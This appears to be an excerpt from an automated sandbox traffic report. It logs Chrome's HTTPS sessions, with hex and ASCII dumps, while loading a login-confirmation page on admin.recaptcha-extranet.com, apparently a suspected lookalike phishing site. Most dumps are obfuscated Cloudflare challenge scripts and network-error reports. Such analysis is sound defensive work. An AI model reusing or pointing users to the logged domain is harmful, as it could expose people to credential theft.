79sUqqvBrbU0VWuogfgZW00oi3Q30ab8VmkZ8j9RxXPqN3wn8XskH7Aa5sga5BUnHh7BjvKdeNLT6mNDg56v57xLd.veQjCe_ltEjju5vWlA8Nf7WxvNUu5BUqE_1Lt4__TiiDlfmyAtV1ryYZLXRubd7vsFKwjuQ_OBcGaxSEVvlTWsywLKfmEon6bAqOuFiTssNF1FcxYvp.QDcUX1p0nGmvKRuWp.B13PSu3NLNbzAhUEu.QFbRXblWSOTBp
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 53 4d 78 43 73 2e 7a 69 77 65 71 75 5a 54 6c 45 6a 62 70 45 64 63 4c 4e 68 31 6b 6e 59 4d 41 6b 50 6a 53 55 35 6f 4c 55 7a 45 4e 30 63 67 58 74 73 77 39 45 34 57 56 77 5f 57 61 4c 50 76 72 76 30 45 37 6c 4f 6f 62 33 73 56 51 32 34 33 55 57 4d 36 5a 35 51 4e 76 54 66 47 6a 39 64 6b 4e 42 59 6e 73 47 34 77 35 4d 73 6d 71 5f 57 78 49 71 4d 6f 62 4e 47 63 77 30 32 37 42 6f 38 6c 38 47 5f 35 71 61 5f 67 39 52 50 32 63 37 4e 6c 67 30 42 45 57 6c 45 53 4e 59 67 57 4f 56 39 58 36 30 2e 32 69 71 67 4c 57 38 6a 35 74 4e 67 2e 62 72 36 48 77 42 35 53 45 4b 6f 51 42 4e 4c 34 33 42 63 57 53 41 4a 74 5f 69 37 30 6c 30 39 58 71 57 6f 71 4d 73 43 57 32 32 35 45 5a 5f 63 55 57 62 31 65 4e 36 69 7a 6c 41 68 51 57 37 34 7a 72 38 49 51 4e 42 69 33 44 32 7a 42 44 6b 44 78 34 Data Ascii: SMxCs.ziwequZTlEjbpEdcLNh1knYMAkPjSU5oLUzEN0cgXtsw9E4WVw_WaLPvrv0E7lOob3sVQ243UWM6Z5QNvTfGj9dkNBYnsG4w5Msmq_WxIqMobNGcw027Bo8l8G_5qa_g9RP2c7Nlg0BEWlESNYgWOV9X60.2iqgLW8j5tNg.br6HwB5SEKoQBNL43BcWSAJt_i70l09XqWoqMsCW225EZ_cUWb1eN6izlAhQW74zr8IQNBi3D2zBDkDx4
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 42 41 65 66 44 70 4c 64 73 50 6d 2e 6c 58 72 52 6e 37 6c 64 46 39 47 57 4d 54 72 32 67 30 7a 5a 64 59 4c 76 36 73 37 4c 71 4e 4e 4d 52 58 70 37 4c 73 59 68 71 67 44 59 4f 57 56 6f 79 5f 70 31 39 69 4c 38 6d 68 67 49 4a 64 58 44 39 6f 48 7a 46 61 46 4d 44 6c 6d 33 34 73 65 48 30 78 54 47 48 4c 42 54 42 66 41 67 38 66 5f 49 62 45 54 34 36 76 39 35 5a 64 7a 50 67 65 63 42 34 73 4d 66 4c 31 77 43 4e 7a 37 78 71 4d 6e 74 36 55 45 51 76 5a 64 6b 52 38 65 46 6b 6a 4b 67 37 57 51 6b 74 6b 4b 67 34 54 74 31 36 44 5f 79 74 58 6f 77 47 77 4d 4c 52 45 73 6e 45 69 73 63 72 36 5f 73 63 65 47 44 71 67 73 6c 5f 52 30 43 72 72 6c 72 34 33 51 59 2e 79 62 59 51 6d 44 77 30 73 34 6b 7a 56 50 79 67 46 56 43 39 70 61 74 6e 2e 33 6d 30 73 57 75 53 78 4d 48 36 59 49 59 30 77 42 Data Ascii: BAefDpLdsPm.lXrRn7ldF9GWMTr2g0zZdYLv6s7LqNNMRXp7LsYhqgDYOWVoy_p19iL8mhgIJdXD9oHzFaFMDlm34seH0xTGHLBTBfAg8f_IbET46v95ZdzPgecB4sMfL1wCNz7xqMnt6UEQvZdkR8eFkjKg7WQktkKg4Tt16D_ytXowGwMLREsnEiscr6_sceGDqgsl_R0Crrlr43QY.ybYQmDw0s4kzVPygFVC9patn.3m0sWuSxMH6YIY0wB
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 7a 71 52 2e 41 6c 43 51 64 38 64 57 72 2e 4c 49 72 31 41 44 58 6c 48 42 44 73 36 72 4c 36 54 6f 79 5f 4e 46 4a 77 68 62 69 67 34 4d 74 44 6c 44 5a 77 38 5a 35 36 76 58 6f 42 55 6e 50 66 46 39 6f 67 53 41 39 54 37 70 77 67 7a 47 56 55 6a 6f 32 4f 4a 65 56 77 61 4d 45 68 7a 69 4d 6d 63 32 51 70 55 32 51 68 65 5a 61 5f 33 44 64 76 70 6d 64 71 4a 4d 69 4d 45 52 47 4a 68 79 55 77 68 59 72 68 48 31 4b 64 68 7a 37 31 69 57 38 61 72 47 4a 76 77 77 4b 6f 73 4e 78 65 4c 43 48 41 68 36 46 4c 61 6f 50 68 4b 71 36 7a 61 48 70 2e 43 6c 77 59 61 44 42 6a 32 46 56 46 58 62 55 52 2e 47 70 51 4b 50 46 4f 2e 57 57 64 4a 78 52 51 53 7a 44 73 51 32 69 49 34 63 58 63 6e 7a 66 44 66 54 69 46 4f 6c 58 53 6d 35 36 34 39 37 6b 39 52 36 69 45 38 2e 79 56 71 6a 54 2e 30 32 7a 34 4a Data Ascii: zqR.AlCQd8dWr.LIr1ADXlHBDs6rL6Toy_NFJwhbig4MtDlDZw8Z56vXoBUnPfF9ogSA9T7pwgzGVUjo2OJeVwaMEhziMmc2QpU2QheZa_3DdvpmdqJMiMERGJhyUwhYrhH1Kdhz71iW8arGJvwwKosNxeLCHAh6FLaoPhKq6zaHp.ClwYaDBj2FVFXbUR.GpQKPFO.WWdJxRQSzDsQ2iI4cXcnzfDfTiFOlXSm56497k9R6iE8.yVqjT.02z4J
2025-01-09 04:14:06 UTC	576	IN	Data Raw: 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 2e 6c 65 6e 67 74 68 29 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 20 21 3d 3d 20 2d 31 20 3f 20 27 3f 27 20 3a 20 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 69 66 20 28 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 20 26 26 20 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 29 20 7b 76 61 72 20 6f 67 55 20 3d 20 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 51 75 65 72 79 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 3b 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 22 5c 2f 63 6f 6e 66 69 72 6d 5c 2f 6c 6f Data Ascii: l_opt.cOgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history && window.history.replaceState) {var ogU = location.pathname + window._cf_chl_opt.cOgUQuery + window._cf_chl_opt.cOgUHash;history.replaceState(null, null, "\/confirm\/lo
2025-01-09 04:14:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49711	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:06 UTC	565	OUT	OPTIONS /report/v4?s=NyKY0B0Jiov0A3gUHYIYqMHvCUstnac3jQai5x%2FL4jDr2WVBbPz9OA0aRfd%2BlIUEY2uAEXzmTCMfkWjEUa%2F9P23GCZMaKcDyMNHcs6H5UCCuu8E%2FutcotUcP0PNBCduqhXTnmy0TTKDS152wIwE2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://admin.recaptcha-extranet.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 09 Jan 2025 04:14:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49714	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:07 UTC	494	OUT	POST /report/v4?s=NyKY0B0Jiov0A3gUHYIYqMHvCUstnac3jQai5x%2FL4jDr2WVBbPz9OA0aRfd%2BlIUEY2uAEXzmTCMfkWjEUa%2F9P23GCZMaKcDyMNHcs6H5UCCuu8E%2FutcotUcP0PNBCduqhXTnmy0TTKDS152wIwE2 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 445 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:07 UTC	445	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 38 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 6e 74 65 72 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a Data Ascii: [{"age":1,"body":{"elapsed_time":1084,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://enterawesome.com/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":403,"type":"http.error"},"type":"network-error","url":
2025-01-09 04:14:07 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 09 Jan 2025 04:14:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49715	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:07 UTC	1032	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff1993789555e6a HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv?__cf_chl_rt_tk=XmZ61HcTXxWgS9FB6_jERW4_eC8uwClc5u2cJS5BYus-1736396046-1.0.1.1-hjgrT3tu15oFH5NtShKSeKsY80XhIUGczR903bwPwqM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:07 UTC	884	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 102526 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gk8FWmVL1OUUudTmCapR2kqr39lbpDdhPI88zBHcMsXbh4FnsOCbtY4tqZ198r%2F27QNxYOLMMkYtqyOt38%2B46FUm8J05KC5r3PxZ9ehOY6m%2F8hhJ4wEUT6RL6QTwusaw93Tfk9nbRBc4skXl0tCA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff1993e98a441d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1753&rtt_var=686&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2861&recv_bytes=1632&delivery_rate=1562332&cwnd=157&unsent_bytes=0&cid=03452f1c5824c13b&ts=162&x=0"
2025-01-09 04:14:07 UTC	485	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 7d 2c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=true;window._cf_chl_opt.qqQL2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 6b 25 32 32 25 33 45 52 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 74 6f 25 32 30 74 72 79 25 32 30 61 67 61 69 6e 2e 25 32 30 49 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 25 32 30 61 74 74 65 6d 70 74 25 32 30 61 25 32 30 64 69 66 66 65 72 65 6e 74 25 32 30 6c 69 6e 6b 25 32 30 74 6f 25 32 30 67 65 74 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 64 65 73 69 72 65 64 25 32 30 70 61 67 65 2e 25 32 30 41 6c 74 65 72 6e 61 74 69 76 65 6c 79 25 32 43 25 32 30 74 72 79 25 32 30 67 6f 69 6e 67 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 72 6f 6f 74 25 32 30 6f 66 25 32 30 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 2e 22 2c 22 72 65 64 69 72 65 63 74 Data Ascii: k%22%3ERefresh%20the%20page%3C%2Fa%3E%20to%20try%20again.%20If%20the%20issue%20persists%20attempt%20a%20different%20link%20to%20get%20to%20the%20desired%20page.%20Alternatively%2C%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","redirect
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 73 74 75 63 6b 5f 68 65 6c 70 65 72 5f 74 69 74 6c 65 22 3a 22 53 74 75 63 6b 25 32 30 6f 6e 25 32 30 74 68 69 73 25 32 30 70 61 67 65 25 33 46 22 2c 22 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 68 65 Data Ascii: 0your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_feedback_description":"Send%20Feedback","stuck_helper_title":"Stuck%20on%20this%20page%3F","interstitial_he
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 69 72 65 64 25 32 30 70 61 67 65 25 32 30 6f 72 25 32 30 74 72 79 25 32 30 67 6f 69 6e 67 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 72 6f 6f 74 25 32 30 6f 66 25 32 30 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 2e 22 2c 22 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 22 3a 22 50 6c 65 61 73 65 25 32 30 65 6e 61 62 6c 65 25 32 30 43 6f 6f 6b 69 65 73 25 32 30 61 6e 64 25 32 30 72 65 6c 6f 61 64 25 32 30 74 68 65 25 32 30 70 61 67 65 2e 22 2c 22 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 68 65 6c 70 65 72 5f 74 69 74 6c 65 22 3a 22 57 68 61 74 25 32 30 69 73 25 32 30 74 68 69 73 25 32 30 50 61 67 65 25 33 46 22 2c 22 66 6f 6f 74 65 72 5f 74 65 78 74 22 3a 22 50 65 72 66 6f 72 6d 61 6e 63 65 25 32 30 25 32 36 61 6d 70 25 33 42 25 32 Data Ascii: ired%20page%20or%20try%20going%20to%20the%20root%20of%20%25%7Bplaceholder.com%7D.","cookies_missing":"Please%20enable%20Cookies%20and%20reload%20the%20page.","interstitial_helper_title":"What%20is%20this%20Page%3F","footer_text":"Performance%20%26amp%3B%2
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 69 61 25 32 30 74 68 69 73 25 32 30 61 64 64 72 65 73 73 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 46 2c 65 Data Ascii: ia%20this%20address."},"polyfills":{"testing_only_always_pass":false,"turnstile_overrun_description":false,"turnstile_timeout":false,"turnstile_feedback_description":false,"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gF,e
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 5b 67 4a 28 38 31 33 29 5d 5b 67 4a 28 35 37 34 29 5d 28 6e 65 77 20 67 5b 28 67 4a 28 35 31 31 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 67 4c 2c 48 29 7b 66 6f 72 28 67 4c 3d 67 4a 2c 47 5b 67 4c 28 31 34 38 39 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 67 4c 28 31 32 36 35 29 5d 3b 6f 5b 67 4c 28 39 30 37 29 5d 28 47 5b 48 5d 2c 47 5b 48 2b 31 5d 29 3f 47 5b 67 4c 28 39 30 30 29 5d 28 6f 5b 67 4c 28 35 38 36 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 67 4a 28 37 31 37 29 5d 5b 67 4a 28 31 31 37 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 67 4a 28 31 32 36 35 29 5d 3b 6f 5b 67 4a 28 31 31 32 37 29 5d 21 3d 3d 67 4a Data Ascii: [gJ(813)][gJ(574)](new g[(gJ(511))](x)):function(G,gL,H){for(gL=gJ,G[gL(1489)](),H=0;H<G[gL(1265)];o[gL(907)](G[H],G[H+1])?G[gL(900)](o[gL(586)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[gJ(717)][gJ(1174)](B),C=0;C<x[gJ(1265)];o[gJ(1127)]!==gJ
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 66 37 28 66 38 28 63 29 29 7d 7d 2c 66 61 3d 5b 5d 2c 66 62 3d 30 3b 32 35 36 3e 66 62 3b 66 61 5b 66 62 5d 3d 53 74 72 69 6e 67 5b 67 46 28 31 34 39 39 29 5d 28 66 62 29 2c 66 62 2b 2b 29 3b 67 44 3d 28 66 63 3d 28 30 2c 65 76 61 6c 29 28 67 46 28 31 32 32 36 29 29 2c 66 64 3d 61 74 6f 62 28 67 46 28 37 32 38 29 29 2c 65 4d 5b 67 46 28 31 35 32 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 64 2c 63 2c 64 2c 65 2c 66 29 7b 69 64 3d 67 46 2c 63 3d 7b 27 77 72 71 66 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 2c 27 53 75 6f 69 46 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 68 2a 67 7d 7d 2c 64 3d 66 44 28 29 2c 65 3d 65 4d 5b 69 64 28 36 34 31 29 5d 28 66 46 28 64 29 29 2c 63 5b 69 64 28 37 36 Data Ascii: f7(f8(c))}},fa=[],fb=0;256>fb;fa[fb]=String[gF(1499)](fb),fb++);gD=(fc=(0,eval)(gF(1226)),fd=atob(gF(728)),eM[gF(1527)]=function(id,c,d,e,f){id=gF,c={'wrqfK':function(g,h){return g(h)},'SuoiF':function(g,h){return h*g}},d=fD(),e=eM[id(641)](fF(d)),c[id(76
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 5b 69 67 28 39 38 30 29 5d 3d 6c 2c 44 2e 63 63 3d 68 2c 44 5b 69 67 28 31 33 33 35 29 5d 3d 6d 2c 44 5b 69 67 28 31 32 35 34 29 5d 3d 78 2c 45 3d 4a 53 4f 4e 5b 69 67 28 31 34 37 33 29 5d 28 44 29 2c 46 3d 67 43 5b 69 67 28 31 35 32 39 29 5d 28 45 29 5b 69 67 28 37 37 35 29 5d 28 27 2b 27 2c 69 67 28 31 30 36 32 29 29 2c 42 5b 69 67 28 36 30 36 29 5d 28 6b 5b 69 67 28 31 33 35 39 29 5d 28 27 76 5f 27 2c 65 4d 5b 69 67 28 31 35 30 34 29 5d 5b 69 67 28 31 32 38 39 29 5d 29 2b 27 3d 27 2b 46 29 7d 63 61 74 63 68 28 47 29 7b 7d 7d 2c 65 4d 5b 67 46 28 31 34 38 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 69 68 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6f 2c 73 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 69 66 28 69 68 3d 67 46 2c 65 3d 7b 27 45 62 57 49 4d 27 3a 66 75 6e 63 74 69 Data Ascii: [ig(980)]=l,D.cc=h,D[ig(1335)]=m,D[ig(1254)]=x,E=JSON[ig(1473)](D),F=gC[ig(1529)](E)[ig(775)]('+',ig(1062)),B[ig(606)](k[ig(1359)]('v_',eM[ig(1504)][ig(1289)])+'='+F)}catch(G){}},eM[gF(1480)]=function(d,ih,e,f,g,h,i,o,s,j,k,l,m){if(ih=gF,e={'EbWIM':functi
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 6a 2c 6b 5b 69 6b 28 31 34 38 37 29 5d 28 69 6b 28 35 38 30 29 2c 6b 5b 69 6b 28 34 35 39 29 5d 29 29 72 65 74 75 72 6e 20 76 3d 7b 27 5a 76 64 47 62 27 3a 66 75 6e 63 74 69 6f 6e 28 78 2c 42 29 7b 72 65 74 75 72 6e 20 78 28 42 29 7d 7d 2c 65 28 69 6b 28 31 30 35 33 29 2c 66 75 6e 63 74 69 6f 6e 28 69 6c 29 7b 69 6c 3d 69 6b 2c 76 5b 69 6c 28 31 34 37 32 29 5d 28 67 2c 69 6c 28 38 34 38 29 29 7d 29 2c 21 5b 5d 3b 65 6c 73 65 20 65 4d 5b 69 6b 28 31 35 32 37 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6e 3d 7b 7d 2c 6e 5b 69 6a 28 31 35 33 31 29 5d 3d 65 2c 6e 5b 69 6a 28 37 35 36 29 5d 3d 66 2c 6e 5b 69 6a 28 31 31 39 33 29 5d 3d 67 2c 6e 5b 69 6a 28 35 30 31 29 5d 3d 68 2c 6e 5b 69 6a 28 37 32 34 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 69 6a 28 39 36 38 29 5d 28 66 Data Ascii: j,k[ik(1487)](ik(580),k[ik(459)]))return v={'ZvdGb':function(x,B){return x(B)}},e(ik(1053),function(il){il=ik,v[il(1472)](g,il(848))}),![];else eM[ik(1527)]()},1e3):(n={},n[ij(1531)]=e,n[ij(756)]=f,n[ij(1193)]=g,n[ij(501)]=h,n[ij(724)]=i,o=n,eM[ij(968)](f
2025-01-09 04:14:07 UTC	1369	IN	Data Raw: 3d 67 46 2c 64 3d 7b 27 78 6f 5a 70 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 43 70 6b 50 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 42 4f 4f 58 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6f 59 76 56 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 73 66 43 48 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4a 73 56 64 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4b 49 57 70 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 6f 63 67 7a 69 27 3a Data Ascii: =gF,d={'xoZpN':function(h,i){return h<i},'CpkPB':function(h,i){return h(i)},'BOOXY':function(h,i){return h>i},'oYvVw':function(h,i){return h<i},'sfCHI':function(h,i){return h==i},'JsVdN':function(h,i){return h-i},'KIWpc':function(h,i){return i\|h},'ocgzi':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49716	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
